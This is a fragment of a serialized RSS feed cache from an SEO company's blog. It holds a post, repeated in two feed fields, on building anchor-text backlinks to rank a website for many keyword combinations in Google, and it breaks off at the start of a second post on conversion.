src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/5cAozBpoIes\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}i:2;a:13:{s:5:\&quot;title\&quot;;s:66:\&quot;How to Build Links and Optimize your Website for Multiple Keywords\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/fMke79EeF5s/\&quot;;s:8:\&quot;category\&quot;;s:137:\&quot;Search Engine OptimizationGoogle-Link-Building-Optimization-StrategyGoogle-SEOHow-to-Optimize-Website-for-Multiple-Keywordsseo-techniques\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Wed, 03 May 2017 05:00:26 PDT\&quot;;s:4:\&quot;guid\&quot;;s:133:\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/how-to-build-links-and-optimize-your-website-for-multiple-keywords/\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:14799:\&quot;&lt;p&gt;In case you were wondering how to systematically achieve saturation for &lt;strong&gt;multiple keywords&lt;/strong&gt; for your website in search engines (instead of just a few) using &lt;a href=\&quot;http://www.seodesignsolutions.com/\&quot;&gt;SEO&lt;/a&gt;, then this is a must read post. This tactic is specifically designed to work in Google using the allinanchor / keyword relevance ratio to back links pointing at your site.&lt;br /&gt;\n&lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/how-to-build-links-and-optimize-your-website-for-multiple-keywords/\&quot;&gt;&lt;img src=\&quot;http://seodesignsolutions.com/blog/wp-content/uploads/2008/11/multiple-keywords.jpg\&quot; alt=\&quot;\&quot; title=\&quot;Optimizing Multiple Keywords\&quot; width=\&quot;400\&quot; height=\&quot;275\&quot; class=\&quot;aligncenter size-full wp-image-617\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2008/11/multiple-keywords.jpg 400w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2008/11/multiple-keywords-300x206.jpg 300w\&quot; sizes=\&quot;(max-width: 400px) 100vw, 400px\&quot; /&gt;&lt;/a&gt;&lt;br /&gt;\nThis is the point where the competition gets nervous as a tactic like this could go viral with just one post from a popular Stumbler, Digg or otherwise. I will leave that at your discretion to cast your vote, but this is not the first time where I should have simply shut up, but I thought I would leave you with some good reading material for the weekend.&lt;span id=\&quot;more-93\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;As an &lt;a href=\&quot;http://www.seodesignsolutions.com/seo/\&quot;&gt;SEO&lt;/a&gt; company involved in this illustrious industry, I feel like we owe those sincere seekers who yearn for legitimate &lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; techniques and only find dozens of sites with shallow posts, vague references and theory. I don&amp;#8217;t mind sharing a few tactics here and there about &lt;a href=\&quot;http://seodesignsolutions.com/blog/how-to-reference-material/optimizing-your-website-for-multiple-keywords/\&quot;&gt;keyword optimization&lt;/a&gt;, as the tendency to create, test and implement them typically happens faster than I can write them down. &lt;/p&gt;\n&lt;p&gt;This post in essence serves as a web-log of a fundamental technique, that we have used time and time again to bolster &lt;a href=\&quot;http://www.seodesignsolutions.com/seo-services.html\&quot;&gt;multiple top 10 positions&lt;/a&gt; in search engines.  Naturally, we have to hold back something, otherwise we would make the SEO community obsolete, but in any case, these tactics are what we use when targeting an entire industry for long tail search engine domination, they can also be used for more aggressive/competitive terms by &lt;a href=\&quot;http://seodesignsolutions.com/blog/link-building/should-you-build-links-for-competitive-terms-or-the-long-tail-of-search/\&quot;&gt;using this tactic&lt;/a&gt;. &lt;/p&gt;\n&lt;p&gt;But, in the even that you wish to rank in the top 10 for a result that has 1.2 &amp;#8211; 1.8 million results, you can essentially pick them off like flies using just a fragment of this technique. The terms we consider worthy are usually the ones that takes months to acquire. So, don&amp;#8217;t build links to fast from off topic locations, it&amp;#8217;s better to focus on quality vs. quantity, however having a diverse base of IP addresses to use is ideal (such as an article marketing resource box that you can moderate) Hmmmmm. &lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;The exercise:&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;1. First start off by writing down every possible singular keyword that pertains to your industry. From there narrow it down to the top 20-30 terms. &lt;/p&gt;\n&lt;p&gt;You could also just use a keyword discovery tool, but in this instance, think like a consumer trying to reach your site. The reason is, many of the search terms used to reach your site are unique and do not fall into realm of showing up on the &amp;#8220;keyword radar&amp;#8221;, so common sense can equal conversion if you pick the right phrase and beat your competition to the punch.&lt;/p&gt;\n&lt;p&gt;2. Then after you have a list of 20-30, start combining two word combinations strategically using the premise of how you think someone may type a query into a search engine.&lt;/p&gt;\n&lt;p&gt;web page optimization, optimize my website, how do I SEO my site, etc&amp;#8230; come up with your wild card list of key phrases which you can have fun with later, since if you optimize your site for one group of keywords ALL OF THE KEYWORDS in the anchor text get a boost. So even though you may be &lt;a href=\&quot;http://www.seodesignsolutions.com/link-submissions-services.html\&quot;&gt;building links&lt;/a&gt; using exact match, you still get the benefit of each individual word in Google.&lt;/p&gt;\n&lt;p&gt;3. After you have your list of 30 singular, 20 two-word combinations and 10 or so three-word combinations (just seeing if you were paying attention, since I didn&amp;#8217;t say anything about the 3 word combinations) take each of the two and three word combinations, place the phrases &amp;#8220;in quotes&amp;#8221; and enter them in a standard Google search query one at a time. &lt;/p&gt;\n&lt;p&gt;Look at the results of the keywords in quotes and this will give you a good indication of the allinanchor and allintitle relevance by using the quotes. Usually if you do this, you can remove the quotes and 90% of the sites remain the same. Without quotes it may be 1-10 of 2,000,000 results, with &amp;#8220;the quotes&amp;#8221; it may show 1-10 of 20,000. It is the term in quotes you want to look at in order to gain a metric on the competitiveness of this key phrase.&lt;/p&gt;\n&lt;p&gt;Also, the more words you add, the easier it is to optimize, even if the chronology of the words does not make sense, you are still optimizing your site for any combination of keywords that are contained in the anchor text. In case it&amp;#8217;s a new term, &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-marketing/how-to-use-article-marketing-for-building-links-traffic-seo-visibility/\&quot;&gt;this is anchor text&lt;/a&gt;, so use it wisely as it is your number 1 tool for developing links, relevance and rankings (for now at least) in Google.&lt;/p&gt;\n&lt;p&gt;Getting back to the exercise, if the term comes back with under 100,000 results then move it into your to do list of links to build as a likely target for your SEO. Granted that this is merely one tactic, feel free to combine it with your own methods. Now, without giving away too many secrets, you will be responsible for finding ways to build links. &lt;/p&gt;\n&lt;p&gt;Not just any links, but links that allow you to have control over the anchor text (the text in the link). Use these terms to whittle away at the root phrases building 100 links per keyword combination, then run analytics software of check out &lt;a href=\&quot;http://www.nichewatch.com/\&quot;&gt;Niche Watch&lt;/a&gt; and see where you stand using a before and after methodology. &lt;/p&gt;\n&lt;p&gt;Every site is different, but say for example you have a PR6 site, you can skip most of these tactics and just put a keyword in your title tag, mention it a few times, build links from your own site to itself and dominate the SERPs. However, since we know that you are going to be challenging websites such as those in the SERPs as you step over them in concentration for allinanchor relevance as you specifically augment your site by fortifying it with keyword combinations, you can actually surpass a lazy or passive higher page rank site in this fashion. &lt;/p&gt;\n&lt;p&gt;Our site for example can chip away and rise approximately 100,000 results per month for competitive terms using moderate link building methods (1000-2000 quality inbound links per month for example), so if we were going after a super competitive keyword such as &lt;a href=\&quot;http://www.google.com/search?hl=en&amp;amp;client=firefox-a&amp;amp;rls=org.mozilla%3Aen-US%3Aofficial&amp;amp;hs=4gI&amp;amp;q=%22seo+company%22&amp;amp;btnG=Search\&quot;&gt;&amp;#8220;SEO Company&amp;#8221;&lt;/a&gt; for example with it&amp;#8217;s 1.4 million results, it would take roughly 1 year to build links to get to the top 10 using this tactic. &lt;/p&gt;\n&lt;p&gt;Each site is different as the authority that results from each link varies. The point here is, each website has a link velocity ratio that is consistent with how aggressively it can move up the rungs until it arrives in the top 10 search results for a keyword &amp;#8220;in quotes&amp;#8221;.&lt;/p&gt;\n&lt;p&gt;If you wanted to find out where you stand for the keyword in advance, you could always click your url first, then use the search command &lt;a href=\&quot;http://www.google.com/ie?&amp;amp;num=100\&quot;&gt;www.google.com/ie?&amp;amp;num=100&lt;/a&gt; to get to the 100 results per page stripped down Google interface. From there (since you have clicked your link in advance) you can put the keyword in question &amp;#8220;in quotes&amp;#8221;, hit return and find out where you stand. &lt;/p&gt;\n&lt;p&gt;If you are position #200 for example and you are building links for every word that comprises the phrase (services SEO, SEO Services, Search engine Optimization Services, Engine Optimization SEO, etc.) then you should see your ranking move up and up closer to the top 10 for a number of terms. &lt;/p&gt;\n&lt;p&gt;When it hits the top 10 for the allinanchor: terms, if the keyword is not being challenged directly by another competitor your site should hit the top 10 as well. If there is competition you should be in the top 30 or top 20 results and you will have to figure out which other SEO factor &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-web-design/are-your-seo-on-page-factors-holding-you-back/\&quot;&gt;is holding you back&lt;/a&gt; from there.&lt;/p&gt;\n&lt;p&gt;If you wanted to be more specific and chart your progress, you can find the link to link velocity ratio to determine how many links or how much time it will take you to crack into the top 10 for each of the respective search terms.  Or you could find the best page for each link using the Google command site:www.yoursite.com keyword, to increase the links per page (&lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/link-building-deep-links-using-the-lpp-ratio/\&quot;&gt;LPP ratio&lt;/a&gt;) as a deep linking strategy to increase the impact of each link (don&amp;#8217;t forget to socially bookmark them as well for an added boost).&lt;/p&gt;\n&lt;p&gt;This is how you get your rankings to spread out to other terms. *If you use exact match terms for two word key phrases, then you can see the results usually within a week. The idea is, start with three words, when you see them moving, then alternate one of the keywords with another word from your list from before. So you can rank for keyword keyword company, keyword keyword services, keyword keyword professional, etc.&lt;/p&gt;\n&lt;p&gt;Examples like SEO Marketing Consultant, SEO Website Marketing, Internet SEO Marketing, etc&amp;#8230; this will become apparent later just how effective this tactic can be for blanketing a plethora of terms. &lt;/p&gt;\n&lt;p&gt;Then you focus specifically on the phrase you want to rank for, create a custom page using a keyword density tool or writing copy that utilizes the phrase one time in the title, one time in the h1 tag, one to 3 times in the document and continue to build links to that page with those keywords in the anchor text. This is the advantage of having a blog as you can camouflage your link building tactics under the guise of an informative post. I will just hint at SEO content copy writing here, but you get the gist (link bait, social media, social bookmarking / link building ahem, ahem).&lt;/p&gt;\n&lt;p&gt;My suggestion, build 50 links to the page and move on to another term. Then give it a week or two and go back and &lt;a href=\&quot;http://www.nichewatch.com/\&quot;&gt;check the status of the keywords&lt;/a&gt; and how your allinanchor:, allintitle: and allintext: ratio&amp;#8217;s are performing is contrast to the keyword combinations, make note of your progress and try to find your site in the SERPs again. You can go back to the Google interface and check or you can just scroll through the normal results to see where you stand.&lt;/p&gt;\n&lt;p&gt;If the keywords you select are under 20,000 results, if your site has some authority you can take those over from just posting an &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/titles-and-tagging-for-seo-conversion-relevance/\&quot;&gt;on topic post that is tagged properly&lt;/a&gt; in your blog. But to sustain them, you have to feed the pages keyword combinations to keep them afloat in the SERPs. This also provides a cushion around them to help fend off competition from leap-frogging past you up the ladder.&lt;/p&gt;\n&lt;p&gt;Acquisition (climbing the rungs) and defense from others can be done through varying the tactic slightly. Slow down once you have acquired a top 20 and let the link velocity push you up the ladder. Then you can build 1/3 of the links using the exact match terms until you hit the top 10. If you crack the top 10, then go back, add a few more occurrences of the keywords you want to rank for in your document/page. Add a few more links, wait a week and then see if that pushes you over the hump into the top 5.&lt;/p&gt;\n&lt;p&gt;This method may seem a bit chaotic, but you get the gist, you can manage one keyword or several at the same time. The key is to use a common denominator as the pivotal term that is used to tie together all of the variations of the word stemmed singular, plural and adjective based keyword combinations until you have effectively saturated each keywords density in the external links to your site.&lt;/p&gt;\n&lt;p&gt;You can always check on Google Webmaster tools which keywords have the highest occurrences that are directed at your site. The idea is, to build a base term, add a qualifier, then do this again and again, until all of your main keywords are essentially lodged in the anchor text pointing at your site from a wide variety of unique and Class C- IP addresses.&lt;/p&gt;\n&lt;p&gt;For example if you did a search on a term like &amp;#8220;seo professional&amp;#8221; this term returns 126,000 results. If your site has a PR4 for example and you have content that supports this type of industry of jargon in your domain name, on your pages or in your page titles, you should already have some leverage for the term.&lt;/p&gt;\n&lt;p&gt;Terms that have slight correlation to your site&amp;#8217;s theme can be optimized, but the rate of which all depends on your website authority, the links you use and how much link juice they carry, where you point them, the competition and how algorithms see your link building techniques (natural or unnatural) if you invoke a penalty, you will not rank for that term for a while until it&amp;#8217;s lifted, so it&amp;#8217;s better not to get greedy and vary your titles, anchor text and pages when deep linking.&lt;/p&gt;\n&lt;p&gt;I hope you found this information useful, if you did, then cast your vote to share it, sign up for the RSS feed or just enjoy&amp;#8230;See you in the SERPs.&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=fMke79EeF5s:vRkBGj361aA:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/fMke79EeF5s\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:508:\&quot;In case you were wondering how to systematically achieve saturation for multiple keywords for your website in search engines (instead of just a few) using SEO, then this is a must read post. This tactic is specifically designed to work in Google using the allinanchor / keyword relevance ratio to back links pointing at your &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/how-to-build-links-and-optimize-your-website-for-multiple-keywords/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:3:\&quot;wfw\&quot;;a:1:{s:10:\&quot;commentrss\&quot;;s:138:\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/how-to-build-links-and-optimize-your-website-for-multiple-keywords/feed/\&quot;;}s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:2:\&quot;58\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:133:\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/how-to-build-links-and-optimize-your-website-for-multiple-keywords/\&quot;;}s:7:\&quot;summary\&quot;;s:508:\&quot;In case you were wondering how to systematically achieve saturation for multiple keywords for your website in search engines (instead of just a few) using SEO, then this is a must read post. This tactic is specifically designed to work in Google using the allinanchor / keyword relevance ratio to back links pointing at your &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/how-to-build-links-and-optimize-your-website-for-multiple-keywords/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:12:\&quot;atom_content\&quot;;s:14799:\&quot;&lt;p&gt;In case you were wondering how to systematically achieve saturation for &lt;strong&gt;multiple keywords&lt;/strong&gt; for your website in search engines (instead of just a few) using &lt;a href=\&quot;http://www.seodesignsolutions.com/\&quot;&gt;SEO&lt;/a&gt;, then this is a must read post. This tactic is specifically designed to work in Google using the allinanchor / keyword relevance ratio to back links pointing at your site.&lt;br /&gt;\n&lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/how-to-build-links-and-optimize-your-website-for-multiple-keywords/\&quot;&gt;&lt;img src=\&quot;http://seodesignsolutions.com/blog/wp-content/uploads/2008/11/multiple-keywords.jpg\&quot; alt=\&quot;\&quot; title=\&quot;Optimizing Multiple Keywords\&quot; width=\&quot;400\&quot; height=\&quot;275\&quot; class=\&quot;aligncenter size-full wp-image-617\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2008/11/multiple-keywords.jpg 400w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2008/11/multiple-keywords-300x206.jpg 300w\&quot; sizes=\&quot;(max-width: 400px) 100vw, 400px\&quot; /&gt;&lt;/a&gt;&lt;br /&gt;\nThis is the point where the competition gets nervous as a tactic like this could go viral with just one post from a popular Stumbler, Digg or otherwise. I will leave that at your discretion to cast your vote, but this is not the first time where I should have simply shut up, but I thought I would leave you with some good reading material for the weekend.&lt;span id=\&quot;more-93\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;As an &lt;a href=\&quot;http://www.seodesignsolutions.com/seo/\&quot;&gt;SEO&lt;/a&gt; company involved in this illustrious industry, I feel like we owe those sincere seekers who yearn for legitimate &lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; techniques and only find dozens of sites with shallow posts, vague references and theory. I don&amp;#8217;t mind sharing a few tactics here and there about &lt;a href=\&quot;http://seodesignsolutions.com/blog/how-to-reference-material/optimizing-your-website-for-multiple-keywords/\&quot;&gt;keyword optimization&lt;/a&gt;, as the tendency to create, test and implement them typically happens faster than I can write them down. &lt;/p&gt;\n&lt;p&gt;This post in essence serves as a web-log of a fundamental technique, that we have used time and time again to bolster &lt;a href=\&quot;http://www.seodesignsolutions.com/seo-services.html\&quot;&gt;multiple top 10 positions&lt;/a&gt; in search engines.  Naturally, we have to hold back something, otherwise we would make the SEO community obsolete, but in any case, these tactics are what we use when targeting an entire industry for long tail search engine domination, they can also be used for more aggressive/competitive terms by &lt;a href=\&quot;http://seodesignsolutions.com/blog/link-building/should-you-build-links-for-competitive-terms-or-the-long-tail-of-search/\&quot;&gt;using this tactic&lt;/a&gt;. &lt;/p&gt;\n&lt;p&gt;But, in the even that you wish to rank in the top 10 for a result that has 1.2 &amp;#8211; 1.8 million results, you can essentially pick them off like flies using just a fragment of this technique. The terms we consider worthy are usually the ones that takes months to acquire. So, don&amp;#8217;t build links to fast from off topic locations, it&amp;#8217;s better to focus on quality vs. quantity, however having a diverse base of IP addresses to use is ideal (such as an article marketing resource box that you can moderate) Hmmmmm. &lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;The exercise:&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;1. First start off by writing down every possible singular keyword that pertains to your industry. From there narrow it down to the top 20-30 terms. &lt;/p&gt;\n&lt;p&gt;You could also just use a keyword discovery tool, but in this instance, think like a consumer trying to reach your site. The reason is, many of the search terms used to reach your site are unique and do not fall into realm of showing up on the &amp;#8220;keyword radar&amp;#8221;, so common sense can equal conversion if you pick the right phrase and beat your competition to the punch.&lt;/p&gt;\n&lt;p&gt;2. Then after you have a list of 20-30, start combining two word combinations strategically using the premise of how you think someone may type a query into a search engine.&lt;/p&gt;\n&lt;p&gt;web page optimization, optimize my website, how do I SEO my site, etc&amp;#8230; come up with your wild card list of key phrases which you can have fun with later, since if you optimize your site for one group of keywords ALL OF THE KEYWORDS in the anchor text get a boost. So even though you may be &lt;a href=\&quot;http://www.seodesignsolutions.com/link-submissions-services.html\&quot;&gt;building links&lt;/a&gt; using exact match, you still get the benefit of each individual word in Google.&lt;/p&gt;\n&lt;p&gt;3. After you have your list of 30 singular, 20 two-word combinations and 10 or so three-word combinations (just seeing if you were paying attention, since I didn&amp;#8217;t say anything about the 3 word combinations) take each of the two and three word combinations, place the phrases &amp;#8220;in quotes&amp;#8221; and enter them in a standard Google search query one at a time. &lt;/p&gt;\n&lt;p&gt;Look at the results of the keywords in quotes and this will give you a good indication of the allinanchor and allintitle relevance by using the quotes. Usually if you do this, you can remove the quotes and 90% of the sites remain the same. Without quotes it may be 1-10 of 2,000,000 results, with &amp;#8220;the quotes&amp;#8221; it may show 1-10 of 20,000. It is the term in quotes you want to look at in order to gain a metric on the competitiveness of this key phrase.&lt;/p&gt;\n&lt;p&gt;Also, the more words you add, the easier it is to optimize, even if the chronology of the words does not make sense, you are still optimizing your site for any combination of keywords that are contained in the anchor text. In case it&amp;#8217;s a new term, &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-marketing/how-to-use-article-marketing-for-building-links-traffic-seo-visibility/\&quot;&gt;this is anchor text&lt;/a&gt;, so use it wisely as it is your number 1 tool for developing links, relevance and rankings (for now at least) in Google.&lt;/p&gt;\n&lt;p&gt;Getting back to the exercise, if the term comes back with under 100,000 results then move it into your to do list of links to build as a likely target for your SEO. Granted that this is merely one tactic, feel free to combine it with your own methods. Now, without giving away too many secrets, you will be responsible for finding ways to build links. &lt;/p&gt;\n&lt;p&gt;Not just any links, but links that allow you to have control over the anchor text (the text in the link). Use these terms to whittle away at the root phrases building 100 links per keyword combination, then run analytics software of check out &lt;a href=\&quot;http://www.nichewatch.com/\&quot;&gt;Niche Watch&lt;/a&gt; and see where you stand using a before and after methodology. &lt;/p&gt;\n&lt;p&gt;Every site is different, but say for example you have a PR6 site, you can skip most of these tactics and just put a keyword in your title tag, mention it a few times, build links from your own site to itself and dominate the SERPs. However, since we know that you are going to be challenging websites such as those in the SERPs as you step over them in concentration for allinanchor relevance as you specifically augment your site by fortifying it with keyword combinations, you can actually surpass a lazy or passive higher page rank site in this fashion. &lt;/p&gt;\n&lt;p&gt;Our site for example can chip away and rise approximately 100,000 results per month for competitive terms using moderate link building methods (1000-2000 quality inbound links per month for example), so if we were going after a super competitive keyword such as &lt;a href=\&quot;http://www.google.com/search?hl=en&amp;amp;client=firefox-a&amp;amp;rls=org.mozilla%3Aen-US%3Aofficial&amp;amp;hs=4gI&amp;amp;q=%22seo+company%22&amp;amp;btnG=Search\&quot;&gt;&amp;#8220;SEO Company&amp;#8221;&lt;/a&gt; for example with it&amp;#8217;s 1.4 million results, it would take roughly 1 year to build links to get to the top 10 using this tactic. &lt;/p&gt;\n&lt;p&gt;Each site is different as the authority that results from each link varies. The point here is, each website has a link velocity ratio that is consistent with how aggressively it can move up the rungs until it arrives in the top 10 search results for a keyword &amp;#8220;in quotes&amp;#8221;.&lt;/p&gt;\n&lt;p&gt;If you wanted to find out where you stand for the keyword in advance, you could always click your url first, then use the search command &lt;a href=\&quot;http://www.google.com/ie?&amp;amp;num=100\&quot;&gt;www.google.com/ie?&amp;amp;num=100&lt;/a&gt; to get to the 100 results per page stripped down Google interface. From there (since you have clicked your link in advance) you can put the keyword in question &amp;#8220;in quotes&amp;#8221;, hit return and find out where you stand. &lt;/p&gt;\n&lt;p&gt;If you are position #200 for example and you are building links for every word that comprises the phrase (services SEO, SEO Services, Search engine Optimization Services, Engine Optimization SEO, etc.) then you should see your ranking move up and up closer to the top 10 for a number of terms. &lt;/p&gt;\n&lt;p&gt;When it hits the top 10 for the allinanchor: terms, if the keyword is not being challenged directly by another competitor your site should hit the top 10 as well. If there is competition you should be in the top 30 or top 20 results and you will have to figure out which other SEO factor &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-web-design/are-your-seo-on-page-factors-holding-you-back/\&quot;&gt;is holding you back&lt;/a&gt; from there.&lt;/p&gt;\n&lt;p&gt;If you wanted to be more specific and chart your progress, you can find the link to link velocity ratio to determine how many links or how much time it will take you to crack into the top 10 for each of the respective search terms.  Or you could find the best page for each link using the Google command site:www.yoursite.com keyword, to increase the links per page (&lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/link-building-deep-links-using-the-lpp-ratio/\&quot;&gt;LPP ratio&lt;/a&gt;) as a deep linking strategy to increase the impact of each link (don&amp;#8217;t forget to socially bookmark them as well for an added boost).&lt;/p&gt;\n&lt;p&gt;This is how you get your rankings to spread out to other terms. *If you use exact match terms for two word key phrases, then you can see the results usually within a week. The idea is, start with three words, when you see them moving, then alternate one of the keywords with another word from your list from before. So you can rank for keyword keyword company, keyword keyword services, keyword keyword professional, etc.&lt;/p&gt;\n&lt;p&gt;Examples like SEO Marketing Consultant, SEO Website Marketing, Internet SEO Marketing, etc&amp;#8230; this will become apparent later just how effective this tactic can be for blanketing a plethora of terms. &lt;/p&gt;\n&lt;p&gt;Then you focus specifically on the phrase you want to rank for, create a custom page using a keyword density tool or writing copy that utilizes the phrase one time in the title, one time in the h1 tag, one to 3 times in the document and continue to build links to that page with those keywords in the anchor text. This is the advantage of having a blog as you can camouflage your link building tactics under the guise of an informative post. I will just hint at SEO content copy writing here, but you get the gist (link bait, social media, social bookmarking / link building ahem, ahem).&lt;/p&gt;\n&lt;p&gt;My suggestion, build 50 links to the page and move on to another term. Then give it a week or two and go back and &lt;a href=\&quot;http://www.nichewatch.com/\&quot;&gt;check the status of the keywords&lt;/a&gt; and how your allinanchor:, allintitle: and allintext: ratio&amp;#8217;s are performing is contrast to the keyword combinations, make note of your progress and try to find your site in the SERPs again. You can go back to the Google interface and check or you can just scroll through the normal results to see where you stand.&lt;/p&gt;\n&lt;p&gt;If the keywords you select are under 20,000 results, if your site has some authority you can take those over from just posting an &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/titles-and-tagging-for-seo-conversion-relevance/\&quot;&gt;on topic post that is tagged properly&lt;/a&gt; in your blog. But to sustain them, you have to feed the pages keyword combinations to keep them afloat in the SERPs. This also provides a cushion around them to help fend off competition from leap-frogging past you up the ladder.&lt;/p&gt;\n&lt;p&gt;Acquisition (climbing the rungs) and defense from others can be done through varying the tactic slightly. Slow down once you have acquired a top 20 and let the link velocity push you up the ladder. Then you can build 1/3 of the links using the exact match terms until you hit the top 10. If you crack the top 10, then go back, add a few more occurrences of the keywords you want to rank for in your document/page. Add a few more links, wait a week and then see if that pushes you over the hump into the top 5.&lt;/p&gt;\n&lt;p&gt;This method may seem a bit chaotic, but you get the gist, you can manage one keyword or several at the same time. The key is to use a common denominator as the pivotal term that is used to tie together all of the variations of the word stemmed singular, plural and adjective based keyword combinations until you have effectively saturated each keywords density in the external links to your site.&lt;/p&gt;\n&lt;p&gt;You can always check on Google Webmaster tools which keywords have the highest occurrences that are directed at your site. The idea is, to build a base term, add a qualifier, then do this again and again, until all of your main keywords are essentially lodged in the anchor text pointing at your site from a wide variety of unique and Class C- IP addresses.&lt;/p&gt;\n&lt;p&gt;For example if you did a search on a term like &amp;#8220;seo professional&amp;#8221; this term returns 126,000 results. If your site has a PR4 for example and you have content that supports this type of industry of jargon in your domain name, on your pages or in your page titles, you should already have some leverage for the term.&lt;/p&gt;\n&lt;p&gt;Terms that have slight correlation to your site&amp;#8217;s theme can be optimized, but the rate of which all depends on your website authority, the links you use and how much link juice they carry, where you point them, the competition and how algorithms see your link building techniques (natural or unnatural) if you invoke a penalty, you will not rank for that term for a while until it&amp;#8217;s lifted, so it&amp;#8217;s better not to get greedy and vary your titles, anchor text and pages when deep linking.&lt;/p&gt;\n&lt;p&gt;I hope you found this information useful, if you did, then cast your vote to share it, sign up for the RSS feed or just enjoy&amp;#8230;See you in the SERPs.&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=fMke79EeF5s:vRkBGj361aA:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/fMke79EeF5s\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}i:3;a:13:{s:5:\&quot;title\&quot;;s:63:\&quot;How to Get SEO, Call to Action and Conversion on the Same Page!\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/WawDDa-5Yn0/\&quot;;s:8:\&quot;category\&quot;;s:110:\&quot;SEO Marketingcall-to-actionHigher-Sales-ConversionProblem-Solution-MarketingSEO-&amp;-Squeeze-PagesWhat-SEO-is-NOT\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Mon, 01 May 2017 10:02:55 PDT\&quot;;s:4:\&quot;guid\&quot;;s:120:\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/how-to-get-your-seo-call-to-action-and-conversion-on-the-same-page/\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:10528:\&quot;&lt;p&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; is nice for popularity, but &lt;strong&gt;conversion is even better&lt;/strong&gt;. So, before you go out and start snatching up more keywords than you can shake a stick at, make sure your offer is up to the challenge of enlivening customer attention and encouraging viewer retention. Otherwise, your marketing efforts will be a mere exercise in futility.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/how-to-get-your-seo-call-to-action-and-conversion-on-the-same-page/\&quot;&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2007/12/seo-and-conversion.jpg\&quot; alt=\&quot;seo and conversion\&quot; width=\&quot;400\&quot; height=\&quot;265\&quot; class=\&quot;aligncenter size-full wp-image-9645\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2007/12/seo-and-conversion.jpg 400w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2007/12/seo-and-conversion-300x199.jpg 300w\&quot; 